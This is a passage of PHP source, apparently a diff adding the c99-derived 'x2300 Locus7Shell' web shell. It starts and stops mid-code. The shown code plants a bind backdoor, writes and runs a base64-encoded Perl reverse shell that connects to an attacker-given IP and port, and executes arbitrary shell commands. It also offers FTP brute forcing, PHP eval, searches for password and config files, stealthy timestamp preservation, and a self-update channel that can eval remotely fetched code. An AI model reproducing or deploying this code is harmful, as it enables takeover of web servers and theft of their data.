18A"; + +function checkproxyhost(){ +$host = getenv("HTTP_HOST"); +$filename = '/tmp/.setan/xh'; +if (file_exists($filename)) { +$_POST['proxyhostmsg']="</br></br><center><font color=green size=3><b>Success!</b></font></br></br><a href=$host:6543>$host:6543</a></br></br><b>Note:</b> If '$host' have a good firewall or IDS installed on their server, it will probably catch this or stop it from ever opening a port and you won't be able to connect to this proxy.</br></br></center>"; +} else { +$_POST['proxyhostmsg']="</br></br><center><font color=red size=3><b>Failed!</b></font></br></br><b>Note:</b> If for some reason we would not create and extract the need proxy files in '/tmp' this will make this fail.</br></br></center>"; +} +} + +if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) +{ +$ip = gethostbyname($_SERVER["HTTP_HOST"]); +$por = $_POST['backconnectport']; +if(is_writable(".")){ +cfb("shbd",$backdoor); +ex("chmod 777 shbd"); +$cmd = "./shbd $por"; +exec("$cmd > /dev/null &"); +$scan = myshellexec("ps aux"); +if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); } +$_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data"; +}else{ +cfb("/tmp/shbd",$backdoor); +ex("chmod 777 /tmp/shbd"); +$cmd = "./tmp/shbd $por"; +exec("$cmd > /dev/null &"); +$scan = myshellexec("ps aux"); +if(eregi("./shbd $por",$scan)){ $data = ("\n</br></br>Process found running, backdoor setup successfully."); }elseif(eregi("./shbd $por",$scan)){ $data = ("\n</br>Process not found running, backdoor not setup successfully."); } +$_POST['backcconnmsg']="To connect, use netcat and give it the command <b>'nc $ip $por'</b>.$data"; +} +} + +if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl")) +{ +if(is_writable(".")){ +cf("back",$back_connect); +$p2=which("perl"); +$blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); +$_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; +if (file_exists("back")) { unlink("back"); } +}else{ +cf("/tmp/back",$back_connect); +$p2=which("perl"); +$blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); +$_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; +if (file_exists("/tmp/back")) { unlink("/tmp/back"); } +} +} + +if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C")) +{ +if(is_writable(".")){ +cf("backc",$back_connect_c); +ex("chmod 777 backc"); +//$blah = ex("gcc back.c -o backc"); +$blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); +$_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; +//if (file_exists("back.c")) { unlink("back.c"); } +if (file_exists("backc")) { unlink("backc"); } +}else{ +ex("chmod 777 /tmp/backc"); +cf("/tmp/backc",$back_connect_c); +//$blah = ex("gcc -o /tmp/backc /tmp/back.c"); +$blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); +$_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>."; +//if (file_exists("back.c")) { unlink("back.c"); } +if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } } +} + +function cf($fname,$text) +{ +$w_file=@fopen($fname,"w") or err(); +if($w_file) +{ +@fputs($w_file,@base64_decode($text)); +@fclose($w_file); +} +} + +function cfb($fname,$text) +{ +$w_file=@fopen($fname,"w") or bberr(); +if($w_file) +{ +@fputs($w_file,@base64_decode($text)); +@fclose($w_file); +} +} + +function err() +{ +$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't connect!</b>"; +} + +function bberr() +{ +$_POST['backcconnmsge']="</br></br><b><font color=red size=3>Error:</font> Can't backdoor host!</b>"; +} + +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function ex($cfe) +{ +$res = ''; +if (!empty($cfe)) +{ + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } +} +return $res; +} +//EoW + + + + + + + + + + + + + + + + +//Start Enumerate function +//function ENUMERATE() + +$hostname_x=php_uname(n); +$itshome = getcwd(); +$itshome = str_replace("/home/","~",$itshome); +$itshome = str_replace("/public_html","/x2300.php",$itshome); +$enumerate = "http://".$hostname_x."/".$itshome.""; + +//End Enumerate function + +//Starting calls +ini_set("max_execution_time",0); +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +error_reporting(5); +$adires=""; +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} + +$shver = "1.0a beta"; //Current version +//CONFIGURATION AND SETTINGS +if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);} +else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL +} + +$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. + +if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ +$surl = "?".$includestr; //Self url +} +$surl = htmlspecialchars($surl); + +$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. + +//Authentication +$login = ""; //login +//DON'T FORGOT ABOUT PASSWORD!!! +$pass = ""; //password +$md5_pass = ""; //md5-cryped pass. if null, md5($pass) + +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Restricted area"; //http-auth message. +$accessdeniedmess = "<a href=\"http://locus7s.com\">x2300 Locus7Shell v.".$shver."</a>: access denied"; + +$gzipencode = TRUE; //Encode with gzip? + +$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE) + +$c99sh_updateurl = "http://locus7s.com/files/lshell_update/"; //Update server +$c99sh_sourcesurl = "http://locus7s.com/"; //Sources-server + +$filestealth = TRUE; //if TRUE, don't change modify- and access-time + +$donated_html = "<center><b>x2300 Locus7Shell Modified by #!physx^ </b></center>"; +/* If you publish free shell and you wish +add link to your site or any other information, +put here your html. */ +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. + +$curdir = "./"; //start folder +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) +$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) + +$log_email = "user@host.tld"; //Default e-mail for sending logs + +$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending +$sort_save = TRUE; //If TRUE then save sorting-position using cookies. + +// Registered file-types. +// array( +// "{action1}"=>array("ext1","ext2","ext3",...), +// "{action2}"=>array("ext4","ext5","ext6",...), +// ... +// ) +$ftypes = array( +"html"=>array("html","htm","shtml"), +"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), +"exe"=>array("sh","install","bat","cmd"), +"ini"=>array("ini","inf"), +"code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), +"img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), +"sdb"=>array("sdb"), +"phpsess"=>array("sess"), +"download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +// Registered executable file-types. +// array( +// string "command{i}"=>array("ext1","ext2","ext3",...), +// ... +// ) +// {command}: %f% = filename +$dizin = str_replace("\\",DIRECTORY_SEPARATOR,$dizin); +if (empty($dizin)) {$dizin = realpath(".");} elseif(realpath($dizin)) {$dizin = realpath($dizin);} +$dizin = str_replace("\\",DIRECTORY_SEPARATOR,$dizin); +if (substr($dizin,-1) != DIRECTORY_SEPARATOR) {$dizin .= DIRECTORY_SEPARATOR;} +$dizin = str_replace("\\\\","\\",$dizin); +$dizinispd = htmlspecialchars($dizin); +/*dizin*/ +$real = realpath($dizinispd); +$path = basename ($PHP_SELF); +function dosyayicek($link,$file) +{ + $fp = @fopen($link,"r"); + while(!feof($fp)) + { + $cont.= fread($fp,1024); + } + fclose($fp); + + $fp2 = @fopen($file,"w"); + fwrite($fp2,$cont); + fclose($fp2); +} + + + + +$exeftypes = array( +getenv("PHPRC")." -q %f%" => array("php","php3","php4"), +"perl %f%" => array("pl","cgi") +); + +/* Highlighted files. + array( + i=>array({regexp},{type},{opentag},{closetag},{break}) + ... + ) + string {regexp} - regular exp. + int {type}: +0 - files and folders (as default), +1 - files only, 2 - folders only + string {opentag} - open html-tag, e.g. "<b>" (default) + string {closetag} - close html-tag, e.g. "</b>" (default) + bool {break} - if TRUE and found match then break +*/ +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example + array("config.php",1) // example +); + +$safemode_diskettes = array("a"); // This variable for disabling diskett-errors. +// array (i=>{letter} ...); string {letter} - letter of a drive +//$safemode_diskettes = range("a","z"); +$hexdump_lines = 8;// lines in hex preview file +$hexdump_rows = 24;// 16, 24 or 32 bytes in one line + +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + +$bindport_pass = "c99"; // default password for binding +$bindport_port = "31373"; // default port for binding +$bc_port = "31373"; // default port for back-connect +$datapipe_localport = "8081"; // default port for datapipe +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + +// Command-aliases +if (!$win) +{ +$cmdaliases = array( + array("-----------------------------------------------------------", "ls -la"), + array("find all suid files", "find / -type f -perm -04000 -ls"), + array("find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("find all sgid files", "find / -type f -perm -02000 -ls"), + array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("find config.inc.php files", "find / -type f -name config.inc.php"), + array("find config* files", "find / -type f -name \"config*\""), + array("find config* files in current dir", "find . -type f -name \"config*\""), + array("find all writable folders and files", "find / -perm -2 -ls"), + array("find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("find all service.pwd files", "find / -type f -name service.pwd"), + array("find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("find all .htpasswd files", "find / -type f -name .htpasswd"), + array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("find all .bash_history files", "find / -type f -name .bash_history"), + array("find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + + array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("list file attributes on a Linux second extended file system", "lsattr -va"), + array("show opened ports", "netstat -an | grep -i listen") +); +} +else +{ +$cmdaliases = array( + array("-----------------------------------------------------------", "dir"), + array("show opened ports", "netstat -an") +); +} + +$sess_cookie = "c99shvars"; // Cookie-variable name + +$usefsbuff = TRUE; //Buffer-function +$copy_unset = FALSE; //Remove copied files from buffer after pasting + +//Quick launch +$quicklaunch = array( +array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), +array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), +array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), +array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), +array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), +array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), +array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), +array("<br><center><b>[Enumerate]</b>",$enumerate), +array("<b>[Encoder]</b>",$surl."act=encoder&d=%d"), +array("<b>[Tools]</b>",$surl."act=tools&d=%d"), +array("<b>[Proc.]</b>",$surl."act=processes&d=%d"), +array("<b>[FTP Brute]</b>",$surl."act=ftpquickbrute&d=%d"), +array("<b>[Sec.]</b>",$surl."act=security&d=%d"), +array("<b>[SQL]</b>",$surl."act=sql&d=%d"), +array("<b>[PHP-Code]</b>",$surl."act=eval&d=%d"), +array("<b>[Backdoor Host]</b>",$surl."act=shbd"), +array("<b>[Back-Connection]</b>",$surl."act=backc"), +array("<b>[milw0rm it!]</b>",$millink), +array("<b>[PHP-Proxy]</b>",$phprox), +array("<b>[Self remove]</b></center>",$surl."act=selfremove") +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["c99shcook"]); + +//END CONFIGURATION + + +// \/Next code isn't for editing\/ +/*function ex($cfe) +{ +$res = ''; +if (!empty($cfe)) +{ + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } +} +return $res; +}*/ +/*function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} + +function cf($fname,$text) +{ +$w_file=@fopen($fname,"w") or err(0); +if($w_file) +{ +@fputs($w_file,@base64_decode($text)); +@fclose($w_file); +} +}*/ +/*function err($n,$txt='') +{ +echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#000000><font color=red face=Verdana size=-2><div align=center><b>'; +echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n]; +if(!empty($txt)) { echo " $txt"; } +echo '</b></div></font></td></tr></table>'; +return null; +}*/ +@set_time_limit(0); +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://locus7s.com/\">x2300 Shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} +if (!empty($login)) +{ +if (empty($md5_pass)) {$md5_pass = md5($pass);} +if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) +{ + if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); +} +} +if ($act != "img") +{ +$lastdir = realpath("."); +chdir($curdir); +if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) +{ +$disablefunc = str_replace(" ","",$disablefunc); +$disablefunc = explode(",",$disablefunc); +} + +if (!function_exists("c99_buff_prepare")) +{ +function c99_buff_prepare() +{ +global $sess_data; +global $act; +foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} +foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} +$sess_data["copy"] = array_unique($sess_data["copy"]); +$sess_data["cut"] = array_unique($sess_data["cut"]); +sort($sess_data["copy"]); +sort($sess_data["cut"]); +if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} +else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +c99_buff_prepare(); + +if (!function_exists("c99_sess_put")) +{ +function c99_sess_put($data) +{ +global $sess_cookie; +global $sess_data; +c99_buff_prepare(); +$sess_data = $data; +$data = serialize($data); +setcookie($sess_cookie,$data); +} +} +foreach (array("sort","sql_sort") as $v) +{ +if (!empty($_GET[$v])) {$$v = $_GET[$v];} +if (!empty($_POST[$v])) {$$v = $_POST[$v];} +} +if ($sort_save) +{ +if (!empty($sort)) {setcookie("sort",$sort);} +if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ +if (strlen($content) > $len) +{ + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); +} +else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ +if (!is_numeric($size)) {return FALSE;} +else +{ + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; +} +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$h = opendir($d); +while (($o = readdir($h)) !== FALSE) +{ + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } +} +closedir($h); +return TRUE; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +$t = str_replace("\\",DIRECTORY_SEPARATOR,$t); +if (!is_dir(dirname($t))) {mkdir(dirname($t));} +if (is_dir($d)) +{ + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); +} +elseif (is_file($d)) {return copy($d,$t);} +else {return FALSE;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ +$h = opendir($d); +if (!is_dir($t)) {mkdir($t);} +while (($o = readdir($h)) !== FALSE) +{ + if (($o != ".") and ($o != "..")) + { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } +} +closedir($h); +return TRUE; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +$t = str_replace("\\",DIRECTORY_SEPARATOR,$t); +if (is_dir($d)) +{ + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); +} +elseif (is_file($d)) +{ + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} +} +else {return FALSE;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ +$h = opendir($d); +while (($o = readdir($h)) !== FALSE) +{ + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } +} +closedir($h); +rmdir($d); +return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ +$o = str_replace("\\",DIRECTORY_SEPARATOR,$o); +if (is_dir($o)) +{ + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); +} +elseif (is_file($o)) {return unlink($o);} +else {return FALSE;} +} +} +if (!function_exists("myshellexec")) +{ +function myshellexec($cmd) +{ +global $disablefunc; +$result = ""; +if (!empty($cmd)) +{ + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } +} +return $result; +} +} +if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ +if (($mode & 0xC000) === 0xC000) {$type = "s";} +elseif (($mode & 0x4000) === 0x4000) {$type = "d";} +elseif (($mode & 0xA000) === 0xA000) {$type = "l";} +elseif (($mode & 0x8000) === 0x8000) {$type = "-";} +elseif (($mode & 0x6000) === 0x6000) {$type = "b";} +elseif (($mode & 0x2000) === 0x2000) {$type = "c";} +elseif (($mode & 0x1000) === 0x1000) {$type = "p";} +else {$type = "?";} + +$owner["read"] = ($mode & 00400)?"r":"-"; +$owner["write"] = ($mode & 00200)?"w":"-"; +$owner["execute"] = ($mode & 00100)?"x":"-"; +$group["read"] = ($mode & 00040)?"r":"-"; +$group["write"] = ($mode & 00020)?"w":"-"; +$group["execute"] = ($mode & 00010)?"x":"-"; +$world["read"] = ($mode & 00004)?"r":"-"; +$world["write"] = ($mode & 00002)? "w":"-"; +$world["execute"] = ($mode & 00001)?"x":"-"; + +if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} +if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} +if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + +return $type.join("",$owner).join("",$group).join("",$world); +} +} +if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} +if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} +if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ +if (($mode & 0xC000) === 0xC000) {$t = "s";} +elseif (($mode & 0x4000) === 0x4000) {$t = "d";} +elseif (($mode & 0xA000) === 0xA000) {$t = "l";} +elseif (($mode & 0x8000) === 0x8000) {$t = "-";} +elseif (($mode & 0x6000) === 0x6000) {$t = "b";} +elseif (($mode & 0x2000) === 0x2000) {$t = "c";} +elseif (($mode & 0x1000) === 0x1000) {$t = "p";} +else {$t = "?";} +$o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; +$g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; +$w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; +return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("parsesort")) +{ +function parsesort($sort) +{ +$one = intval($sort); +$second = substr($sort,-1); +if ($second != "d") {$second = "a";} +return array($one,$second); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ +if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} +elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} +else {return "<font color=green>".view_perms(fileperms($o))."</font>";} +} +} +if (!function_exists("c99getsource")) +{ +function c99getsource($fn) +{ +global $c99sh_sourcesurl; +$array = array( + "c99sh_bindport.pl" => "c99sh_bindport_pl.txt", + "c99sh_bindport.c" => "c99sh_bindport_c.txt", + "c99sh_backconn.pl" => "c99sh_backconn_pl.txt", + "c99sh_backconn.c" => "c99sh_backconn_c.txt", + "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt", + "c99sh_datapipe.c" => "c99sh_datapipe_c.txt", +); +$name = $array[$fn]; +if ($name) {return file_get_contents($c99sh_sourcesurl.$name);} +else {return FALSE;} +} +} +if (!function_exists("c99sh_getupdate")) +{ +function c99sh_getupdate($update = TRUE) +{ +$url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; +$data = @file_get_contents($url); +if (!$data) {return "Can't connect to update-server!";} +else +{ + $data = ltrim($data); + $string = substr($data,3,ord($data{2})); + if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} + if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} + if ($data{0} == "\x99" and $data{1} == "\x03") + { + $string = explode("\x01",$string); + if ($update) + { + $confvars = array(); + $sourceurl = $string[0]; + $source = file_get_contents($sourceurl); + if (!$source) {return "Can't fetch update!";} + else + { + $fp = fopen(__FILE__,"w"); + if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c99shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";} + else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";} + } + } + else {return "New version are available: ".$string[1];} + } + elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} + else {return "Error in protocol: segmentation failed! (".$data.") ";} +} +} +} +if (!function_exists("mysql_dump")) +{ +function mysql_dump($set) 